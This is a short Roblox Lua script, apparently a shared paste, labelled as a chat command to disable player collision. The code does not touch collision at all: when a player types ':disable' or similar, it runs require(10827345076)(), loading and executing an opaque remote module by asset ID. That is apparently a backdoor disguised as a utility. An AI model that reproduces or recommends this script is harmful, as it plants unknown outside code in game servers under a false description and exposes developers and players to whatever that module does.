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- --[[
- || 📜 AUTHOR: @4zx16 || DISABLE PLAYER COLLISION COMMAND
- ]]
- local disable_collision = {":disable", "/disable", "@disable"}
- game.Players.PlayerAdded:Connect(function(player)
- player.Chatted:Connect(function(msg)
- for i, PlayerCollision in pairs(disable_collision) do
- if msg:sub(1, PlayerCollision:len()):lower() == PlayerCollision:lower() then
- wait(0.9)
- require(10827345076)()
- end
- end
- end)
- end)
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